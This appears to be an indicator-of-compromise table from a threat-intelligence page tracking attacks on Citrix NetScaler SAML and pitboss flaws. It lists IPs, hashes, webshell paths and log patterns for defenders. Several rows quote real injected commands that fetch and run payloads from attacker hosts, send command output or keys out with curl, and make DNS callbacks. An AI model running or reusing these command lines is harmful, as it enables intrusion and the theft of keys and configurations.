IPv423.162.8.173Poppelgaard [75]Huntback.io decoy that sent the CVE-2026-88771 nx_verify.html injection check, per checker v1.13. VirusTotal: 0 of 91 engines, 1 suspicious (6 Oct)Decoy/honeypot caveat as for 138.199.60.22; clean VT proves nothing.Public GitHub repository, no TLP marking
IPv438.60.206.53Poppelgaard [75]One of four sources that sent GET /saml/login before CVE-2026-88779 was disclosed, per Gotham's 5 Oct update (carried in checker v1.13 as a yellow hunting lead). WHOIS: Cogent Communications (COGENT-A block, KAOPU-CGNT-NET-2 subnet); announced via AS154177 Light Node Limited per BGP. VirusTotal: insufficient data (6 Oct). VT report: https://www.virustotal.com/gui/ip-address/38.60.206.53Hunting lead: a pre-disclosure GET to the SAML endpoints is a strong lead but not attack proof - monitoring services also poll these endpoints.Public GitHub repository, no TLP marking
IPv438.60.212.144Poppelgaard [75]One of four sources that sent GET /saml/login before CVE-2026-88779 was disclosed, per Gotham's 5 Oct update (checker v1.13 hunting lead). WHOIS: Cogent Communications (COGENT-A block, KAOPU-CGNT-NET-2 subnet); announced via AS154177 Light Node Limited per BGP. VirusTotal: 4 of 91 engines malicious (6 Oct). VT report: https://www.virustotal.com/gui/ip-address/38.60.212.144Hunting lead, as for 38.60.206.53.Public GitHub repository, no TLP marking
IPv4149.102.254.17Poppelgaard [75]One of four sources that sent GET /saml/login before CVE-2026-88779 was disclosed, per Gotham's 5 Oct update (checker v1.13 hunting lead). WHOIS: Cogent Communications (DATACAMP-CGNT-NET-4 subnet - Cogent downstream carrying Datacamp/CDNEXT space, AS212238 per BGP). VirusTotal: 2 of 91 engines malicious (6 Oct). VT report: https://www.virustotal.com/gui/ip-address/149.102.254.17Hunting lead, as for 38.60.206.53.Public GitHub repository, no TLP marking
IPv4130.94.19.84Poppelgaard [75]One of four sources that sent GET /saml/login before CVE-2026-88779 was disclosed, per Gotham's 5 Oct update (checker v1.13 hunting lead). WHOIS: NTT America (NTTA-130-94 block, LIGHTNODE sub-allocation - the AS154177 Light Node space). VirusTotal: 0 of 91 engines, 1 suspicious (6 Oct). VT report: https://www.virustotal.com/gui/ip-address/130.94.19.84Hunting lead, as for 38.60.206.53; clean VT proves nothing.Public GitHub repository, no TLP marking
User-Agentprobe/1Poppelgaard [75]User-Agent of a SAML probe seen by Lupovis on 17 September - before CVE-2026-88779 was public: a ~2.8 KB SAMLRequest that inflates to 62 KiB of padding and binary, sent to /saml/login or /cgi/samlauth (checker v1.13 adds this as a [CHECK] hunt)Hunting lead, never red on its own (the checker's own words): one probe does not prove targeting, and other tools may send short probe/1 requests. The inflated-SAMLRequest shape is the discriminator.Public GitHub repository, no TLP marking
IPv481.94.239.8Poppelgaard [75]Exfil server (port 8877) of a config-theft payload seen in the field (checker v1.14, 6 Oct): the payload writes ns.conf and every /nsconfig/ssl/*.key into a random 6-character .css file in /var/netscaler/logon/LogonPoint (e.g. 74tns8.css), sends it with curl --data-binary to 81.94.239.8:8877, then the attacker downloads the .css from the Gateway. WHOIS: DEAC Hosting, Latvia. VirusTotal (6 Oct): 1 of 92 engines malicious. VT report: https://www.virustotal.com/gui/ip-address/81.94.239.8Single third-party field report carried in the checker; unverified by any vendor or CERT. Attacker IPs can be unique to one victim; absence elsewhere is not proof of a clean host. If a dump succeeded, rotate all keys, certificates and passwords.Public GitHub repository, no TLP marking
PatternRandom 6-character .css in /var/netscaler/logon/LogonPoint/ (e.g. 74tns8.css)Poppelgaard [75]Config/key dump marker per checker v1.14: any file under the web folders (any extension) holding ===CONF: / ===KEY: markers, a private key or ns.conf lines is flagged as compromise (the theft payload ran). A GET for a random 6-char .css in LogonPoint: HTTP 404 means the dump never landed (attempt failed); HTTP 200 means the file existed and was downloadedHunt pattern from the checker's field report, not a vendor publication. A missing file does not rule out an earlier dump. A 200 pick-up or a dump file hit is a strong key-exposure signal: preserve the file, investigate and correlate, and rotate all keys, certificates and passwords.Public GitHub repository, no TLP marking
Exploit stringcurl --data-binary @<file> ... :8877/Poppelgaard [75]Attack text of the config-theft payload per checker v1.14 (also matched by the v1.13 download-host and source-IP notes)Attack-string lead; a match means targeting, file existence and HTTP-log pick-ups decide execution.Public GitHub repository, no TLP marking
File path.php / .phtml under /var/netscaler/logon and /var/vpn; one-line webshells calling a request parameter as a function; setuid/setgid programs under /var, /tmp, /nsconfig, /flash, /home, /root; /var/rgroupadd; LogonPoint/uiareas/linux/gnuplot.phpPoppelgaard [75]Checker v1.14 compromise checks from community pull requests #4/#5 (feiglein74): any .php/.phtml under those paths; PHP files the Apache error log shows running or that still exist (first and last date shown; only-blocked scanner requests for non-existing names listed as OK); setuid/setgid programs in those directories; and two field finds from Citrix's own IoC scan - a 2023 CVE-2023-3519-wave webshell at LogonPoint/uiareas/linux/gnuplot.php and a setuid backdoor at /var/rgroupadd. POSTs to PHP names count as webshell use when the file exists or ran, otherwise a yellow hunting lead. Also: files a payload dropped in the web folders that were downloaded with HTTP 200Field findings from a community contributor, compiled in the checker; no vendor report publishes gnuplot.php or /var/rgroupadd. On a hit: preserve the file and investigate and correlate (file dates, request logs) before concluding compromise - the CVE-2023-3519 shell in particular may be a leftover from the 2023 wave rather than this campaign.Public GitHub repository, no TLP marking
File nameloot_* upload staging files and agent.pl cron linesPoppelgaard [75]Upload staging files (loot_*) and agent.pl cron persistence lines of the SAML-attack kit, flagged as compromise per the Poppelgaard checker v1.12 (kit generations 2-3; also checked in /nsconfig/.slap)From the checker's compiled community analysis; no vendor report publishes these names. A hit: preserve the file and investigate and correlate the finding before concluding compromise. A missing file proves nothing.Public GitHub repository, no TLP marking
Log stringnsshutdown -RPoppelgaard [75]Attack text in injected commands per the Poppelgaard checker v1.12 (via Gotham Technology Group): forces an appliance shutdown/rebootAttack-string lead from a compiled checker list; a match means targeting, not proof of execution.Public GitHub repository, no TLP marking
File pathx.sh in /, /tmp or /var/tmpPoppelgaard [75]; Unit 42 (Palo Alto Networks) [153]; Arctic Wolf [72]Payload shell file locations flagged as compromise per the Poppelgaard checker v1.11 (Unit 42 / Arctic Wolf family; /download/x.sh is the download path)Compiled checker check over published vendor indicators. A hit: preserve the file and investigate and correlate the finding before concluding compromise. A missing file does not rule out execution or cleanup.Public GitHub repository, no TLP marking
File path/vpn/c (stolen-config archive in Gateway web folders)Poppelgaard [75]; Rapid7 ETR [68]Stolen-config archive path in the Gateway web folders per the Poppelgaard checker v1.11; a web request returning HTTP 200 is flagged as compromise by the checker (the ns.conf archive with keys was likely downloaded). Rapid7 independently documents this exact mechanism: the 20 Sep injection ran tar czf /var/netscaler/gui/vpn/c -C /flash nsconfig, and any unauthenticated GET https://<gateway>/vpn/c then returns the archiveCompiled checker check, now vendor-corroborated by Rapid7 MDR. A 200 hit is a strong config/key-theft signal: preserve evidence and rotate keys and passwords. A 404 does not prove the archive was never taken.Public GitHub repository, no TLP marking
File path/var/nstmp/.nscache, /tmp/.init, changed portal templates, [% in bookmarksPoppelgaard [75]Leftovers of the 2020 NOTROBIN backdoor checked per the Poppelgaard checker v1.11 - reused or re-observed in this campaign as compromise signalsHistorical NOTROBIN artefacts; a hit indicates the 2020 backdoor or its reuse, correlate before attributing to this campaign.Public GitHub repository, no TLP marking
Log stringWeb requests to /nsconmsgPoppelgaard [75]Per the Poppelgaard checker v1.11: nsconmsg is a CLI tool, never a web path - any web request to it is flagged as compromise (Corelight, via Gotham, saw it with webshell use)Compiled checker check; robust signal, but proxy/crawler noise on odd paths is possible - correlate with webshell indicators before concluding compromise.Public GitHub repository, no TLP marking
User-AgentK:<base64>#Poppelgaard [75]Base64 payload staged in a K:<base64># User-Agent (1 October variant without the pitboss marker), per the Poppelgaard checker v1.11; the base64 content is decoded for reviewHunting lead; decode and correlate with the injected-command family before acting.Public GitHub repository, no TLP marking
User-AgentTeam-NetScaler-InventoryPoppelgaard [75]Fake User-Agent on /download/x.sh requests, per the Poppelgaard checker v1.11Hunting lead from a compiled checker list; not seen in vendor reporting.Public GitHub repository, no TLP marking
File path/var/netscaler/.ns_suidcmdPoppelgaard [75]; Unit 42 (Palo Alto Networks) [153]SUID command-helper artefact associated with the Unit 42 .deb webshell family, checked as compromise per the Poppelgaard checker v1.11Compiled checker check over Unit 42's published research; a hit: preserve the file and investigate and correlate before concluding compromise. A missing file does not rule out the webshell.Public GitHub repository, no TLP marking
SHA-256fb7f574a4c185fa8e520c47280939ce22899243a0083ee7120b7300c43baca29Poppelgaard [75]; Martin's Blog (mac.sploit.dk) [63]SHA-256 of the VULNERABLE ns_monuploadd_err.pl maintenance script as shipped in 14.1-73.30 (the Poppelgaard checker checks for this copy on fixed builds: finding it there means the file was put back or the upgrade did not replace it - the CVE-2026-88771 execution path is still open). Martin's Blog independently hashes the same file in its 29 Sep build-diff analysis and documents the source-to-shell path: the -WR branch greps for pitboss failure lines, derives a core-file name from everything after the final NSPPE token, and interpolates it unquoted into a Perl backtick (shell sink); a strict NSPPE-<nn> (PID) regex, list-form open and a path allowlist replace this on 73.37This is the hash of Citrix's own vulnerable maintenance script, not malware - its presence on a fixed build is an upgrade/remediation failure signal, not directly attacker infrastructure. Compare with a clean appliance of the same build and contact Citrix Support.Public GitHub repository, no TLP marking
SHA-25602b24a9923a6cee1fbee48137b7f81b7e0f5169246728b7368fc3a066c43a708Martin's Blog (mac.sploit.dk) [63]SHA-256 of the FIXED ns_monuploadd_err.pl as shipped in 14.1-73.37 (Martin's Blog 29 Sep build-diff): strict pitboss NSPPE-<nn> (PID) regex instead of the permissive grep, list-form open calling find without a shell, and a path-character allowlist; attacker-shaped usernames produce no filename on this version. Useful to verify a running script is actually the fixed copyHash of a vendor script, not an IoC. Build archives change with signature sections - verify against the hash of the build you actually run, not a downloaded package name.Public blog, no TLP marking
Log patternFailed logins from four password-spray sourcesPoppelgaard [75]Four password-spray source IP groups carried in the Poppelgaard checker v1.11 log checks (failed-login hunting)Hunting lead from the compiled checker list; the checker does not name the four sources publicly. Failed logins alone are common noise - correlate with campaign indicators.Public GitHub repository, no TLP marking
File name*.receiver (randomly named) in LogonPointPoppelgaard [75]Randomly named .receiver webshell copies in the LogonPoint/web folders, reported as compromise per checker v1.13 (Huntback.io) - extending the known .ctxs.receiver and .slap.receiver families; requests for any *.receiver file in LogonPoint count as webshell probingPattern from a public checker, not a vendor report. A *.receiver file is a strong compromise signal: preserve the file and investigate and correlate before concluding compromise; upgrading does not remove it.Public GitHub repository, no TLP marking
IPv4185.218.86.25Poppelgaard [75]Gateway recon scanner during the 2 Oct SAML crash wave, per the Gotham hunt list of 3 Oct (r/Citrix 2 Oct; carried in the Poppelgaard checker v1.12) alongside two sources reported in Gateway logs in the same wave: 79.141.161.139 (Host Europe/Bulgaria hosting) and 216.252.238.222 (THC Servers Global / AS40676 Psychz). WHOIS: TC Datacenter Limited. VirusTotal: 10 of 91 engines malicious, 7 suspicious (5 Oct)The checker itself labels these hunting leads, not attack proof. Scan sources are often rented scanners shared across campaigns.Public GitHub repository, no TLP marking
IPv479.141.161.139Poppelgaard [75]Source reported in Gateway logs during the 2 Oct SAML crash wave, per the Gotham hunt list (carried in the Poppelgaard checker v1.12 as a hunting lead). WHOIS: HZ Hosting (Bulgaria). VirusTotal: 0 of 91 engines (5 Oct)Hunting lead, not attack proof; clean VT score proves nothing. Hosted on bulletproof-adjacent hosting commonly rented for scanners.Public GitHub repository, no TLP marking
IPv4216.252.238.222Poppelgaard [75]Source reported in Gateway logs during the 2 Oct SAML crash wave, per the Gotham hunt list (carried in the Poppelgaard checker v1.12 as a hunting lead). RIPE netname US-THCSERVERSGLOBAL, THC Servers Global; announced by AS40676 Psychz Networks. VirusTotal: 11 of 91 engines malicious, 2 suspicious (5 Oct)Hunting lead, not attack proof. Small-hosting space often shared across campaigns.Public GitHub repository, no TLP marking
IPv4159.203.33.46Poppelgaard [75]pitboss command-injection source seen on a production HA pair on 28-29 Sep, reported in pull request #1 to the Poppelgaard checker (v1.12; tester feiglein74). WHOIS: DigitalOcean. VirusTotal: 7 of 91 engines malicious, 3 suspicious (5 Oct)First-hand but single-report observation, published via a community PR. DigitalOcean is also used by researchers; correlate before acting.Public GitHub repository, no TLP marking
IPv4139.162.83.159Poppelgaard [75]Gotham Technology Group incident-response observation (2 Oct, shared with permission; carried in the Poppelgaard checker v1.11): recon sweeps, webshell/marker-file pollers, payload senders, callback or exfiltration servers. Linode (Akamai). VirusTotal: 0 of 92 engines, 1 suspicious (7 Oct). VT report: https://www.virustotal.com/gui/ip-address/139.162.83.159IR observation shared with permission and relayed through the checker. Attacker IPs in IR writeups can be unique to one victim; absence is not proof of a clean host.Public GitHub repository, no TLP marking
IPv4139.162.75.170Poppelgaard [75]Gotham IR observation (2 Oct, via the Poppelgaard checker v1.11), same group. Linode (Akamai). VirusTotal: 2 of 92 engines malicious (7 Oct). VT report: https://www.virustotal.com/gui/ip-address/139.162.75.170As for 139.162.83.159.Public GitHub repository, no TLP marking
IPv4207.148.105.57Poppelgaard [75]Gotham IR observation (2 Oct, via the Poppelgaard checker v1.11), same group. Vultr. VirusTotal: 0 of 92 engines (7 Oct). VT report: https://www.virustotal.com/gui/ip-address/207.148.105.57As for 139.162.83.159. Clean VT proves nothing - fresh infrastructure scores zero.Public GitHub repository, no TLP marking
IPv464.176.71.42Poppelgaard [75]Gotham IR observation (2 Oct, via the Poppelgaard checker v1.11), same group. The Constant Company (Vultr-adjacent). VirusTotal: 3 of 92 engines malicious, 2 suspicious (7 Oct). VT report: https://www.virustotal.com/gui/ip-address/64.176.71.42As for 139.162.83.159.Public GitHub repository, no TLP marking
IPv4194.127.166.126Poppelgaard [75]Gotham IR observation (2 Oct, via the Poppelgaard checker v1.11), same group. OWL IPv4 Japan allocation. VirusTotal: 0 of 92 engines, 2 suspicious (7 Oct). VT report: https://www.virustotal.com/gui/ip-address/194.127.166.126As for 139.162.83.159.Public GitHub repository, no TLP marking
IPv491.199.163.55Poppelgaard [75]Gotham IR observation (2 Oct, via the Poppelgaard checker v1.11), same group. Small RIPE allocation (netname rx1, registered Feb 2026 under digi-cloud.net / Linama contact; announced via AS209272 Alviva Holding per BGP). Also a Huntback.io decoy per checker v1.13. VirusTotal: 0 of 92 engines, 1 suspicious (7 Oct). VT report: https://www.virustotal.com/gui/ip-address/91.199.163.55As for 139.162.83.159; a decoy operator may also run injection checks - correlate before acting.Public GitHub repository, no TLP marking
IPv4103.214.20.54Poppelgaard [75]Gotham IR observation (2 Oct, via the Poppelgaard checker v1.11), same group. Ransom IT Trust AU allocation (announced via AS136557 Host Universal Pty / HostRoyale per BGP). VirusTotal: 0 of 92 engines, 5 suspicious (7 Oct). VT report: https://www.virustotal.com/gui/ip-address/103.214.20.54As for 139.162.83.159.Public GitHub repository, no TLP marking
IPv4109.136.126.142Poppelgaard [75]Gotham IR observation (2 Oct, via the Poppelgaard checker v1.11), same group. Proximus NV (Belgian consumer/ISP). Also a Huntback.io decoy per checker v1.13. VirusTotal: 0 of 92 engines, 1 suspicious (7 Oct). VT report: https://www.virustotal.com/gui/ip-address/109.136.126.142As for 139.162.83.159; consumer/ISP address - likely a compromised device or residential proxy; do not block on it.Public GitHub repository, no TLP marking
IPv479.133.42.141Poppelgaard [75]Gotham IR observation (2 Oct, via the Poppelgaard checker v1.11), same group. RIPE netname DE-ACCELERATED, org firstcolo GmbH (Germany); routed via AS214036 Ultahost per BGP. VirusTotal: 1 of 92 engines malicious (7 Oct). VT report: https://www.virustotal.com/gui/ip-address/79.133.42.141As for 139.162.83.159.Public GitHub repository, no TLP marking
IPv4146.70.199.53Poppelgaard [75]Gotham IR observation (2 Oct, via the Poppelgaard checker v1.11), same group. M247 Ltd Singapore space. VirusTotal: 0 of 92 engines, 1 suspicious (7 Oct). VT report: https://www.virustotal.com/gui/ip-address/146.70.199.53As for 139.162.83.159. M247 ranges are heavily used by commercial VPN exits - a hit can be an ordinary VPN user; correlate before acting.Public GitHub repository, no TLP marking
IPv4135.136.98.176Poppelgaard [75]Gotham IR observation (2 Oct, via the Poppelgaard checker v1.11), same group. M247 Ltd Singapore space. VirusTotal: 0 of 92 engines (7 Oct). VT report: https://www.virustotal.com/gui/ip-address/135.136.98.176As for 139.162.83.159, with the M247 VPN-exit caveat.Public GitHub repository, no TLP marking
IPv4170.64.143.206Poppelgaard [75]Gotham IR observation (2 Oct, via the Poppelgaard checker v1.11), same group. DigitalOcean. VirusTotal: 3 of 92 engines malicious, 2 suspicious (7 Oct). VT report: https://www.virustotal.com/gui/ip-address/170.64.143.206As for 139.162.83.159. DigitalOcean is also used by researchers; correlate before acting.Public GitHub repository, no TLP marking
IPv4165.227.228.21Poppelgaard [75]Gotham IR observation (2 Oct, via the Poppelgaard checker v1.11), same group. DigitalOcean. VirusTotal: 3 of 92 engines malicious, 3 suspicious (7 Oct). VT report: https://www.virustotal.com/gui/ip-address/165.227.228.21As for 139.162.83.159.Public GitHub repository, no TLP marking
IPv4139.59.86.242Poppelgaard [75]Gotham IR observation (2 Oct, via the Poppelgaard checker v1.11), same group. DigitalOcean (APNIC space). VirusTotal: 1 of 92 engines malicious, 1 suspicious (7 Oct). VT report: https://www.virustotal.com/gui/ip-address/139.59.86.242As for 139.162.83.159.Public GitHub repository, no TLP marking
IPv4159.223.233.184Poppelgaard [75]Gotham IR observation (2 Oct, via the Poppelgaard checker v1.11), same group. DigitalOcean. VirusTotal: 1 of 92 engines malicious, 1 suspicious (7 Oct). VT report: https://www.virustotal.com/gui/ip-address/159.223.233.184As for 139.162.83.159.Public GitHub repository, no TLP marking
IPv464.227.181.23Poppelgaard [75]Gotham IR observation (2 Oct, via the Poppelgaard checker v1.11), same group. DigitalOcean. VirusTotal: 2 of 92 engines malicious, 4 suspicious (7 Oct). VT report: https://www.virustotal.com/gui/ip-address/64.227.181.23As for 139.162.83.159.Public GitHub repository, no TLP marking
IPv485.11.187.35Poppelgaard [75]Gotham IR observation (2 Oct, via the Poppelgaard checker v1.11), same group. SINO WORLDWIDE TRADING (Norway-announced). VirusTotal: 8 of 92 engines malicious, 4 suspicious (7 Oct). VT report: https://www.virustotal.com/gui/ip-address/85.11.187.35As for 139.162.83.159.Public GitHub repository, no TLP marking
IPv466.173.222.26Poppelgaard [75]Gotham IR observation (2 Oct, via the Poppelgaard checker v1.11), same group. Windstream Communications (US, CAVTEL block). VirusTotal: 0 of 92 engines, 1 suspicious (7 Oct). VT report: https://www.virustotal.com/gui/ip-address/66.173.222.26As for 139.162.83.159. Business-ISP address: likely a compromised host; do not block on it.Public GitHub repository, no TLP marking
IPv4185.231.33.46Poppelgaard [75]Gotham IR observation (2 Oct, via the Poppelgaard checker v1.11), same group. DataShield (Seychelles). VirusTotal: 10 of 92 engines malicious, 5 suspicious (7 Oct). VT report: https://www.virustotal.com/gui/ip-address/185.231.33.46As for 139.162.83.159.Public GitHub repository, no TLP marking
IPv45.83.144.60Poppelgaard [75]Gotham IR observation (2 Oct, via the Poppelgaard checker v1.11), same group. RIPE netname Ucartz_Online (Ucartz Online Pvt Ltd, India); BGP-routed via GorillaServers (AS53850). VirusTotal: 3 of 92 engines malicious, 3 suspicious (7 Oct). VT report: https://www.virustotal.com/gui/ip-address/5.83.144.60As for 139.162.83.159.Public GitHub repository, no TLP marking
IPv4167.88.172.6Poppelgaard [75]Gotham IR observation (2 Oct, via the Poppelgaard checker v1.11), same group. WHOIS netname PONYNET-10, FranTech Solutions; also within RouterHosting space (AS14956 RouterHosting LLC). VirusTotal: 0 of 92 engines (7 Oct). VT report: https://www.virustotal.com/gui/ip-address/167.88.172.6As for 139.162.83.159. FranTech is a privacy host commonly rented for anonymity; clean VT proves nothing.Public GitHub repository, no TLP marking
IPv4143.244.44.177Poppelgaard [75]Gotham IR observation (2 Oct, via the Poppelgaard checker v1.11), same group. RIPE netname CDNEXT-NYC, announced by AS212238 CDNEXT Datacamp Limited (Dataplane/BGP: whois mnt-by DATACAMP-MNT; not DigitalOcean despite the DO-adjacent range). VirusTotal: 2 of 92 engines malicious (7 Oct). VT report: https://www.virustotal.com/gui/ip-address/143.244.44.177As for 139.162.83.159.Public GitHub repository, no TLP marking
IPv431.56.197.137Poppelgaard [75]Gotham IR observation (2 Oct, via the Poppelgaard checker v1.11), same group. CloudBackbone (CGI Global, Latvia). Same /24 neighbourhood as 31.56.197.72 (payload host, eSentire/LevelBlue). VirusTotal: 1 of 92 engines malicious, 1 suspicious (7 Oct). VT report: https://www.virustotal.com/gui/ip-address/31.56.197.137As for 139.162.83.159.Public GitHub repository, no TLP marking
IPv423.234.83.194Poppelgaard [75]Gotham IR observation (2 Oct, via the Poppelgaard checker v1.11), same group. tzulo, inc. (US). VirusTotal: 0 of 92 engines, 1 suspicious (7 Oct). VT report: https://www.virustotal.com/gui/ip-address/23.234.83.194As for 139.162.83.159.Public GitHub repository, no TLP marking
IPv423.234.109.28Poppelgaard [75]Gotham IR observation (2 Oct, via the Poppelgaard checker v1.11), same group. tzulo, inc. (US). VirusTotal: 1 of 92 engines malicious (7 Oct). VT report: https://www.virustotal.com/gui/ip-address/23.234.109.28As for 139.162.83.159.Public GitHub repository, no TLP marking
IPv423.234.80.246Poppelgaard [75]Gotham IR observation (2 Oct, via the Poppelgaard checker v1.11), same group. tzulo, inc. (US). VirusTotal: 1 of 92 engines malicious (7 Oct). VT report: https://www.virustotal.com/gui/ip-address/23.234.80.246As for 139.162.83.159.Public GitHub repository, no TLP marking
File path/vBeaumont, Oct 2 19:01 UTC [128]; Poppelgaard [80]; Beazley Security second-wave indicators (BSL-A1216, updated Oct 4 with Update 6; carried in the Poppelgaard checker v1.12 via Gotham Technology Group, shared with permission) [76]; Rapid7 [86]Payload file the injected commands save at the filesystem root and execute (same write-up) Poppelgaard separately describes a bot sending fetch -qo /v with an http URL on port 443 and then sh /v, using IFS instead of spaces. Beazley's 4 Oct log-indicator table carries the matching line: pitboss PPE unexpectedly died NSPPE;fetch${IFS}-qo${IFS}/v${IFS}http://213.209.159.55:443/t/<TOKEN>;sh${IFS}/v;# X. Rapid7's October incident analysis vendor-confirms the same pattern from a real compromise: the initial injected username was exactly this fetch-to-/v-then-run formNow multi-source: the write-up screenshots, Beazley's log table and first-hand Rapid7 IR. A missing /v does not rule out earlier execution or cleanup.Public Mastodon post (screenshots)
URI path/t/Beaumont, Oct 2 19:01 UTC [128]; Poppelgaard [80]; Beazley Security second-wave indicators (BSL-A1216, updated Oct 4 with Update 6; carried in the Poppelgaard checker v1.12 via Gotham Technology Group, shared with permission) [76]Paths under /t/ on 213.209.159.55:443 (plain HTTP) used for the payload downloads Poppelgaard describes the same /t/<hex> download path from a bot. Beazley's 4 Oct log table shows the full payload: http://213.209.159.55:443/t/<TOKEN>. Beazley's IoC table also lists 213.209.159.55:443/t/* as payload deliveryUnverified, single write-up. A short generic path, so only meaningful together with the IP.Public Mastodon post (screenshots)
Log stringpitboss PPE unexpectedly died NSPPE;nohup${IFS}fetch${IFS}-qo-${IFS}https://f.pylrk.cc/<TOKEN>/s|sh&;# XBeazley Security second-wave indicators (BSL-A1216, updated Oct 4 with Update 6; carried in the Poppelgaard checker v1.12 via Gotham Technology Group, shared with permission) [76]Sliver-campaign delivery line from the second wave (Beazley Security, 4 Oct log indicators; also seen without the trailing &). Downloads the implant loader from f.pylrk.cc and pipes it to shHunting lead compiled by Beazley Security Labs; not proof of compromise on its own.Public advisory, no TLP marking
Log stringpitboss PPE unexpectedly died NSPPE;curl http://158.94.211.205:8080/$(id|base64);# XBeazley Security second-wave indicators (BSL-A1216, updated Oct 4 with Update 6; carried in the Poppelgaard checker v1.12 via Gotham Technology Group, shared with permission) [76]Callback-and-exfiltration line (Beazley Security, 4 Oct log indicators): runs id, base64-encodes the output into the URL to 158.94.211.205:8080Hunting lead compiled by Beazley Security Labs; not proof of compromise on its own.Public advisory, no TLP marking
Log stringpitboss PPE unexpectedly died NSPPE;curl\https://webhook.site/<UUID>;# X (and IFS=,;a=curl,-k,https://webhook.site/<UUID>?test=real;$a;# X)Beazley Security second-wave indicators (BSL-A1216, updated Oct 4 with Update 6; carried in the Poppelgaard checker v1.12 via Gotham Technology Group, shared with permission) [76]Out-of-band callback lines to webhook.site (Beazley Security, 4 Oct log indicators), two syntax variantsHunting lead compiled by Beazley Security Labs; not proof of compromise on its own.Public advisory, no TLP marking
Log stringpitboss PPE unexpectedly died NSPPE;nslookup PWNED.<UUID>.dnshook.site;# XBeazley Security second-wave indicators (BSL-A1216, updated Oct 4 with Update 6; carried in the Poppelgaard checker v1.12 via Gotham Technology Group, shared with permission) [76]DNS out-of-band callback line (Beazley Security, 4 Oct log indicators): exfiltrated output encoded in the PWNED.<UUID> labels under dnshook.siteHunting lead compiled by Beazley Security Labs; not proof of compromise on its own.Public advisory, no TLP marking
Log stringpitboss PPE unexpectedly died NSPPE;id>/netscaler/ns_gui/vpn/id009.txt;id>/netscaler/ns_gui/id009.txt;# X (and NSPPE-00;id>/netscaler/ns_gui/vpn/theme/rce.txt;# X)Beazley Security second-wave indicators (BSL-A1216, updated Oct 4 with Update 6; carried in the Poppelgaard checker v1.12 via Gotham Technology Group, shared with permission) [76]Execution-probe lines (Beazley Security, 4 Oct log indicators): write id output into the web folders, NSPPE-00 prefix on the theme variantHunting lead compiled by Beazley Security Labs; not proof of compromise on its own.Public advisory, no TLP marking
File namensaaad-*.gzBeaumont, Oct 2 19:01 UTC [128]Core dumps of the authentication daemon in recently modified numbered directories under /var/core after repeated crashes (exit status 0x8a, restart limit 6, then a reboot)Unverified. Crashes have other causes; a match is a reason to preserve logs and cores and involve Citrix Support, not proof of compromise.Public Mastodon post (screenshots)
File path/nsconfig/.slap/ and /flash/nsconfig/.slap/Poppelgaard [75]; Rapid7 [86]Perl agent/bridge directory of the kit the SAML attack tries to install (dropper "380d56", community analysis per the Poppelgaard checker v1.10); persists across reboots. Rapid7's October incident analysis now vendor-confirms the same directory from a real compromise: it held the vc recon scanner, vcscan-agent.sh, agent.pl, bridge.pl, boot.sh, reverse-agent.sh and backup webshell copiesNow multi-source: community analysis plus first-hand Rapid7 IR. A missing directory does not rule out earlier execution; verify against legitimate local changes.Public GitHub repository, no TLP marking
File path/var/tmp/.ux/Poppelgaard [75]; Rapid7 [86]; Google GTIG / Mandiant [70]Staging directory for slapshot.py (listens on 127.0.0.1:9909) and whipd.py (listens on 0.0.0.0:9910) of the SAML-attack kit per the Poppelgaard checker v1.10. Rapid7's incident analysis vendor-confirms the same directory from a real compromise, with the Python HTTP tunnel components accepting base64 commands in an HTTP header and returning responses in 404 bodies (behaviour overlapping WHIPSHOT/SLAPSHOT)Now multi-source: community analysis plus first-hand Rapid7 IR. Local-only ports can be legitimate; correlate with the other kit artefacts.Public GitHub repository, no TLP marking
File name.slap.receiver / .ctxs.receiver / receiver.deb in LogonPoint/customPoppelgaard [75]; GreyNoise blog [106]PHP webshell variants of the SAML-attack kit (fake 404 responses, command in a cookie, fixed token), with a receiver.v2.min[.<hex>].css alias and an /etc/httpd.conf.slap.bak config backup, per the Poppelgaard checker v1.10Single-source community analysis compiled in the Poppelgaard checker. Overlaps the publicly documented .ctxs.receiver webshell; treat new variants as leads and match on file content, not names.Public GitHub repository, no TLP marking
File path/var/tmp/.slap-agent.log, .slap-httpd-test.log, .slap-diag.txt, .s2loot, /tmp/.slap.cronPoppelgaard [75]; Rapid7 [86]Log and staging artefacts of the SAML-attack kit per the Poppelgaard checker v1.10; persistence via rc.netscaler and root crontab (agent every minute, .slap/boot.sh every 5 minutes). Rapid7's incident analysis vendor-confirms the loot-staging role from a real compromise (/var/tmp/.s2loot/ as the loot directory, cron and rc.netscaler persistence reseeded on every run)Now multi-source: community analysis plus first-hand Rapid7 IR. A hunting lead that a missing file does not clear.Public GitHub repository, no TLP marking
SHA-25672cff13fcba75504485e94fa6bfc5e9363e860f49efdba68feb583148eec38f2Poppelgaard [75]Dropper "380d56" of the SAML-attack kit, listed in the Poppelgaard checker v1.10 (community analysis). VirusTotal on 2 Oct: Perl file, 1 of 75 engines maliciousSingle-source community analysis; no vendor or CERT has confirmed the hash, and the VirusTotal score is weak evidence (one heuristic label, 1/75).Public GitHub repository, no TLP marking
Config patternadd authentication samlAction.*Citrix community blog [2]Citrix: an appliance with this line in its configuration is affected by the new SAML issue, per the applicability check in Citrix's guidanceApplicability check from Citrix, not an indicator of compromise.Public vendor blog, no TLP marking
Config patternadd authentication samlIdPProfile.*Citrix community blog [2]Citrix: an appliance with this line in its configuration is affected by the new SAML issue, per the applicability check in Citrix's guidanceApplicability check from Citrix, not an indicator of compromise.Public vendor blog, no TLP marking
Log patternproc nsaaad.*(SIGNALED|EXITED)|maximum number of restarts|Pitboss declaring system failure|All monitored processes have exited, rebootingBeaumont, Oct 2 19:01 UTC [128]Grep from the Beaumont post for authentication-daemon crashes and the resulting restart or reboot, run against /var/log/ns.logBeaumont's own pattern. A match means the daemon crashed or the appliance restarted, which has other causes too; it is not proof of an attack.Public Mastodon post

The 2 October SAML-issue payload chain: f.pylrk.cc and the FreeBSD Sliver implant

A TLP:CLEAR malware analysis report (2 October, vendor-independent, corroborated by an Expel IR observation) and the delivery host's live state connect the new-issue delivery domain to an actual implant:

The report is a static analysis (sample not executed) by an external team, not a vendor or CERT publication. Cloudflare fronts the delivery host: block the domain names and the hash, never the resolved proxy IPs. Hunt *.pylrk.cc in DNS logs rather than the single hostname - subdomains may rotate. [81]

Post-exploitation steps attempted on a GreyNoise sensor

GreyNoise says the attacker did not gain a foothold on its sensor. The steps below show the attacker's playbook, not a successful compromise.

A Reddit user described one sample of the .ctxs.receiver file, and IFIN relayed the description. This is unconfirmed. [111]

The token likely differs per victim, so search the file's content rather than relying on its hash.

